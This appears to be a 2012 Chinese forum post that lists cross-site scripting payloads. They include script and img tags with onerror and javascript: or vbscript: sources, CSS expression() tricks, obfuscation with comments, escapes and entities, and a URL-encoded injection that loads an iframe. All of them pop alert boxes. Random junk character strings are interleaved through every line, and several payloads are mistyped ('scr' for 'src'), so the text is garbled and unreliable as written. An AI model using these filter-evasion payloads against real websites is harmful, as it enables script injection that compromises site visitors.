<script>alert("跨站")</script> (最常用）2 A/ H# U" D# n+ |; |: f* A
<img scr=javascript:alert("跨站")></img>
5 F" x( V ~ d, z2 h' _3 B<img scr="javascript: alert(/跨站/)></img>8 c, w' p) d4 p+ ~5 V' d9 K2 k) M
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
$ ?$ F) q- t+ S, H6 |& J$ }<img scr="#" onerror=alert(/跨站/)></img>" s9 D5 M& {0 f9 @
<img scr="#" style="xss:expression(alert(/xss/));"></img># F2 L# u: L9 r% H
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
* Y0 C- j7 D2 q4 q% [/ J9 Y<img src=vbscript:msgbox ("xss")></img>+ y, o0 B, M7 I& }$ C. d' }: N
<style> input {left:expression (alert('xss'))}</style>3 V2 j% J0 W, t. K4 W# X! o, L3 H
<div style={left:expression (alert('xss'))}></div>
- K: [ }2 F0 A% n% J0 B3 m<div style={left:exp/* */ression (alert('xss'))}></div>8 _: }: Q. H# a5 z
<div style={left:\0065\0078ression (alert('xss'))}></div>, c; _5 {/ i- O: A9 q" b
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>, d5 e" m7 d6 V& i7 z
unicode <div style="{left:expRessioN (alert('xss'))}">& l# A) c A# Y$ f% L1 C$ W
3 g" `. i( d3 i& i"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["* E( V. D6 b! {" K
|
发表于 2012-9-15 14:09:13
收藏
支持
反对